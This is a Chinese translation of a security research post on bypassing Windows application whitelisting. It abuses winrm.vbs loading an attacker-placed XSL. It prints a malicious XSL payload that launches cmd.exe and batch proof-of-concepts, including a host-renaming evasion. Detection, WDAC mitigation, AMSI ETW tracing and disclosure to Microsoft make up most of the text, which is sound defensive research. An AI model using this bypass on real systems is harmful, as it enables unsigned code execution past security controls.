导语:winrm.vbs(System32中的一个windows签名脚本)能够使用并执行攻击者控制的XSL,它不受“开明脚本主机”的限制,从而导致任意的、未签名代码的执行。本文将讲述如何使用winrm.vbs绕过应用白名单执行任意未签名代码。

绕过技术描述

winrm.vbs(System32中的一个windows签名脚本)能够使用并执行攻击者控制的XSL,它不受“开明脚本主机”的限制,从而导致任意的、未签名代码的执行。

当提供“-format:pretty” 或者“-format:text”给winrm.vbs时,它从cscript.exe所在的目录中将WsmPty.xsl或WsmTxt.xsl提取出。这意味着如果攻击者将cscript.exe复制到被攻击者控制的恶意XSL所在的位置,遍可以实现执行任意未签名代码。这个问题与Casey Smith的wmic.exe技术完全相同。

绕过技术的概念验证

武器化工作流程如下:

1.将恶意的WsmPty.xsl或 WsmTxt.xsl 放到被攻击者控制的位置。

2.将cscript.exe(或者wscript.exe,使用稍后描述的技巧)复制到相同位置。

3.通过指定“pretty”或者“text”的“-format”转换执行winrm.vbs,最终指定“pretty”还是“text”,取决于放到被攻击者控制的位置的.XSL文件类型是WsmPty.xsl还是WsmTxt.xsl。

下面是“恶意”XSL可以被放到攻击者控制的目录中的一个示例(本例在C:\BypassDir\WsmPty.xsl)。

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
 <ms:script implements-prefix="user" language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
 ]]> </ms:script>
</stylesheet>

对WsmPty进行武器化,可能包括一个嵌入的DotNetToJScript有效负载,从而导致执行任意未签名代码。

在删除WsmPty.xsl时,下面的批处理文件可以用来启动有效负载。

mkdir %SystemDrive%\BypassDir
copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

发现方法论

这一技术是偶然间被发现的。与Casey一起研究基于XSL的绕过技术wmic.exe后不久,我碰巧也正在审计内置的VBS和JScript文件(即WSH脚本),以获得其他的绕过技术。

我对这些文件类型进行审计的动机是受到了Matt Nelson的启发,是他最初激发了我对他的purprn.vbs注入技术的兴趣。通览winrm.vbs的来源时,WsmPty.xsl和WsmTxt.XSL两个字符串立刻吸引了我的注意,因为正如Casey在他的文章中所演示的那样,使用XSL的应用程序有可能通过将WSH脚本内容嵌入到XSL文件中,以允许任意的代码执行。当然,winrm.vbs也不例外。

一般,我经常非常有动力去寻找那些允许任意、未签名代码执行的脚本和二进制文件,因为它们不仅可以绕过应用程序的白名单,而且也不太可能被安全产品检测到(至少在它们被发布之前是不可能的)。

检测和规避策略

为了在此技术上建立可靠的检测,确定执行该技术所需的最小组件集是很重要的。

被黑客控制的WsmPty.xsl或WsmTxt.XSL必须被删除。

winrm.vbs硬编码WsmPty.xsl和WsmTxt.xsl,并显式地将它们绑定到参数“pretty”和“text”。

似乎没有办法指导温winrm.vbs从目录中使用一个不同的XSL文件,而不是从可执行使用XSL有效负载(在大多数情况下即cscript.exe)的当前工作目录。

从检测的角度来看,WsmPty.xs或WsmTxt.xsl文件的哈希,与System32中的哈希不同,这一点比较可疑。幸运的是,如果有变化,合法XSL文件的哈希应该很少。

此外,合法的WsmPty.xsl和WsmTxt. xsl文件都是目录签名的。这些哈希任何的偏差都将导致文件不再签名。换句话说,对任何磁盘上未签名的WsmPty.xsl或WsmTxt. Xsl都应该持怀疑的态度。注意,目录签名验证要求“cryptsvc”服务处于正在运行的状态。

必须执行签名的winrm.vbs。如果攻击者要编辑winrm.vbs的内容,该绕过技术将不起作用。

在命令行中基于winrm.vbs的存在建立一个检测,保护作用不强,因为攻击者可以重命名winrm.vbs到他们选择的文件名。

必须用“pretty”或“text”来指定“format”参数,以便使用XSL文件。

以下案例中“format”参数不敏感的参数变化是允许的:

-format:pretty
-format:"pretty"
/format:pretty
/format:"pretty"
-format:text
-format:"text"
/format:text
/format:"text"

当构建检测时,仅仅是“format”都将会捕捉到所有的变化,但检测可能容易出现正向错误。合法使用“format”参数的程度取决于使用它的组织。然而,除了System32内的cscript. exe和winrm.vbs之外,任何地方合法的调用都不太可能被调用。

Winrm.vbs将从cscript.exe执行。在执行该验证的脚本中是有逻辑的。

Winrm.vbs通过验证WScript.FullName(到执行主机二进制文件的完整路径)包含“cscript.exe”,来验证其自身从cscript.exe的执行。这仍然是一个比较弱的验证,因为它只检查“cscript.exe”是否在完整路径中。对于攻击者来说,这意味着如果他们想要从一个重命名的cscript.exe,或者从另一个脚本主机二进制文件(如wscript.exe)启动winrm.vbs,它们都可以实现。这是一个绕过了“cscript.exe”检查的更新.bat PoC。

mkdir %SystemDrive%\BypassDir\cscript.exe
copy %windir%\System32\wscript.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe
%SystemDrive%\BypassDir\cscript.exe\winword.exe //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

检测强大性的注意事项

PoC例子中的get wmicimv2/Win32_Process?Handle=4的参数被选中,仅仅是为了证明,在假设WinRM服务是启用的情况下,一个实际的命令行参数,实际中可以返回一些有用的东西。

但是,请注意,WinRM服务不需要启用这项技术来工作。还有其他支持“format”参数的选项。关于这些选项没有任何东西显示其带有任何形式的恶意意图。

强大的检测不需要在命令行中寻找cscript.exe或wscript.exe。虽然这可能有助于检测非规避性的技术,但是无法阻止攻击者复制和重命名WSH主机可执行文件。对过程执行的更强大的检测将包括验证“原始文件名”以及二进制的签名。“原始文件名”(“version info”嵌入式资源的一个组件)是文件被签名时哈希计算的一部分。如果攻击者试图在WSH主机可执行文件中修改任何嵌入式资源,那么签名就会失效。

缓解和预防策略

通过启用Windows卫士应用程序控制(WDAC)以及强制执行的用户模式代码完整性(UMCI),可以防止该技术的实现。该脚本的易受攻击版本需要用哈希阻塞,因为没有其他健壮的方法可以阻止易受攻击的签名脚本。然而,如果可能的话,识别脚本的所有易受攻击的版本是很困难的,因为防御者在所有可能的Windows版本中不太可能捕获所有winrm.vbs易受攻击版本的所有哈希。这篇博客文章更详细地介绍了脚本黑名单的无效。

至于缓解这个问题,微软可以在脚本中修复这个问题,并发布一个新的目录签名。在这样做的过程中,这将使先前的、易受攻击的脚本版本以未签名状态呈现。因此,如果使用WDAC强制执行脚本签名,那么以前的易受攻击winrm.vbs版本则无法执行。这个场景只会阻止非管理员执行易受攻击winrm.vbs版本。以管理员身份运行的攻击者可以安装以前的目录签名,恢复执行易受攻击winrm.vbs版本的能力。

这两种预防/缓解方案都依赖于WDAC的强制执行。

考虑到绝大多数的组织都不会启用WDAC,即使是使用固定的winrm.vbs,无法阻止攻击者将易受攻击winrm.vbs版本放到磁盘并执行它。最后,即使对winrm.vbs进行修复,也没有强大的预防解决方案。

WSH / XSL脚本光学

这不是第一次,也肯定不会是最后一次XSL和WSH被攻击者滥用。理想情况下,攻击者应该了解有效负载是如何执行的,无论是在磁盘上执行还是完全在内存中执行。PowerShell可以用scriptblock日志记录直接中获得这种能力。然而,对于WSH内容来说没有这样的等价物。不过,随着防病毒软件扫描接口(AMSI)的引入,如果愿意使用ETW,就可以捕获WSH内容。

AMSI光学是通过Microsoft-Antimalware-Scan-Interface ETW供应者暴露的。如果想要尝试捕获AMSI事件,那么最好的库之一就是KrabsETW。只是简单的实验目的,可以用logman.exe捕获ETL跟踪。

例如,下面的命令将启动和停止ETW跟踪,并将与AMSI关联的事件保存到AMSITrace.etl:

logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
<After starting the trace, this is when you'd run your malicious code to capture its context.>
logman stop AMSITrace –ets

虽然ETW的机制超出了这篇文章的范围,但是你可能想知道我是如何知道Microsoft-Antimalware-Scan-Interface ETW提供者,以及“Event1”关键字的来源。

通过使用logman query provider命令查询注册的提供商,进而知道ETW供应者的名称。“Event1”对应于捕获AMSI上下文的关键字。为了发现这个关键字,我使用perfview.exe将ETW清单转储到XML。清单还能让您深入了解可以通过提供商收集的事件。

<instrumentationManifest xmlns="http://schemas.microsoft.com/win/2004/08/events">
 <instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">
  <events>
   <provider name="Microsoft-Antimalware-Scan-Interface" guid="{2a576b87-09a7-520e-c21a-4942f0271d67}" resourceFileName="Microsoft-Antimalware-Scan-Interface" messageFileName="Microsoft-Antimalware-Scan-Interface" symbol="MicrosoftAntimalwareScanInterface" source="Xml" >
    <keywords>
     <keyword name="Event1" message="$(string.keyword_Event1)" mask="0x1"/>
    </keywords>
    <tasks>
     <task name="task_0" message="$(string.task_task_0)" value="0"/>
    </tasks>
    <events>
     <event value="1101" symbol="task_0" version="0" task="task_0" level="win:Informational" keywords="Event1" template="task_0Args"/>
    </events>
    <templates>
     <template tid="task_0Args">
      <data name="session" inType="win:Pointer"/>
      <data name="scanStatus" inType="win:UInt8"/>
      <data name="scanResult" inType="win:UInt32"/>
      <data name="appname" inType="win:UnicodeString"/>
      <data name="contentname" inType="win:UnicodeString"/>
      <data name="contentsize" inType="win:UInt32"/>
      <data name="originalsize" inType="win:UInt32"/>
      <data name="content" inType="win:Binary" length="contentsize"/>
      <data name="hash" inType="win:Binary"/>
      <data name="contentFiltered" inType="win:Boolean"/>
     </template>
    </templates>
   </provider>
  </events>
 </instrumentation>
 <localization>
  <resources culture="en-US">
   <stringTable>
    <string id="keyword_Event1" value="Event1"/>
    <string id="task_task_0" value="task_0"/>
   </stringTable>
  </resources>
 </localization>
</instrumentationManifest>

在捕获.ETL跟踪时,可以使用你选择的工具来分析它。PowerShell中的Get-WinEvent是一个很好的内置,ETL解析器。我写了一个简短的脚本,演示解析AMSI事件。请注意WSH如何未能成功提供“contentname”属性过程中的漏洞,该漏洞导致需要手动解析事件数据。该脚本还将捕获PowerShell内容。

# Script author: Matt Graeber (@mattifestation)
# logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
# Do your malicious things here that would be logged by AMSI
# logman stop AMSITrace -ets
 
$OSArchProperty = Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture
$OSArch = $OSArchProperty.OSArchitecture
 
$OSPointerSize = 32
if ($OSArch -eq '64-bit') { $OSPointerSize = 64 }
 
$AMSIScanEvents = Get-WinEvent -Path .\AMSITrace.etl -Oldest -FilterXPath '*[System[EventID=1101]]' | ForEach-Object {
    if (-not $_.Properties) {
        # The AMSI provider is not supplying the contentname property when WSH content is logged resulting
        # in Get-WinEvent or Event Viewer being unable to parse the data based on the schema.
        # If this bug were not present, retrieving WSH content would be trivial.
 
        $PayloadString = ([Xml] $_.ToXml()).Event.ProcessingErrorData.EventPayload
        [Byte[]] $PayloadBytes = ($PayloadString -split '([0-9A-F]{2})' | Where-Object {$_} | ForEach-Object {[Byte] "0x$_"})
 
        $MemoryStream = New-Object -TypeName IO.MemoryStream -ArgumentList @(,$PayloadBytes)
        $BinaryReader = New-Object -TypeName IO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode)
 
        switch ($OSPointerSize) {
            32 { $Session = $BinaryReader.ReadUInt32() }
            64 { $Session = $BinaryReader.ReadUInt64() }
        }
 
        $ScanStatus = $BinaryReader.ReadByte()
        $ScanResult = $BinaryReader.ReadInt32()
 
        $StringBuilder = New-Object -TypeName Text.StringBuilder
        do { $CharVal = $BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) } while ($CharVal -ne 0)
        $AppName = $StringBuilder.ToString()
        $null = $StringBuilder.Clear()
 
        $ContentSize = $BinaryReader.ReadInt32()
        $OriginalSize = $BinaryReader.ReadInt32()
        $ContentRaw = $BinaryReader.ReadBytes($ContentSize)
        $Content = [Text.Encoding]::Unicode.GetString($ContentRaw)
        $Hash = [BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).Replace('-', '')
        [Bool] $ContentFiltered = $BinaryReader.ReadInt32()
 
        $BinaryReader.Close()
 
        [PSCustomObject] @{
            Session = $Session
            ScanStatus = $ScanStatus
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $null
            Content = $Content
            Hash = $Hash
            ContentFiltered = $ContentFiltered
        }
    } else {
        $Session = $_.Properties[0].Value
        $ScanStatus = $_.Properties[1].Value
        $ScanResult = $_.Properties[2].Value
        $AppName = $_.Properties[3].Value
        $ContentName = $_.Properties[4].Value
        $Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value)
        $Hash = [BitConverter]::ToString($_.Properties[8].Value).Replace('-', '')
        $ContentFiltered = $_.Properties[9].Value
 
        [PSCustomObject] @{
            Session = $Session
            ScanStatus = $ScanStatus
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $ContentName
            Content = $Content
            Hash = $Hash
            ContentFiltered = $ContentFiltered
        }
    }
}
 
$AMSIScanEvents

在捕获跟踪之后,将看到已执行的有效载荷的内容。

显示AMSI ETW提供商从前面引用的PoC XSL有效负载中捕获攻击上下文的例子

基于ETW的光学和检测的规模超出了这篇文章的范围,但是希望这个例子能够激励你进一步研究它。

披露时间表

正如SpecterOps所承诺的那样,我们承认一旦被公开,攻击者就会迅速采用新的攻击技术。

这就是为什么在公开一种新的攻击技术之前,我们会定期通知各自的供应商,提供充足的时间来缓解这个问题,以确保能够尽快将检测结果交付给他们的客户。

由于这种技术影响了Windows防御系统的应用程序控制(通过MSRC的一个可使用的安全特性),这个问题被报告给了微软。

披露时间表如下:

2018年4月24日——给MSRC发送报告

2018年4月24日——承认报告并分配了一个案例编号

2018年4月30日——收到的电子邮件表明这个问题被复制

2018年5月24日——给MSRC发送电子邮件请求更新

2018年5月28日——回应称评估仍在进行中

2018年6月10日——给MSRC发送电子邮件请求更新

2018年6月11日——来自MSRC的回应,声明产品团队的目标是在8月份修复

2018年7月12日——来自MSRC的回应称,这个问题不能通过安全更新来解决,并且可以在v.Next中解决

源链接

Hacking more

...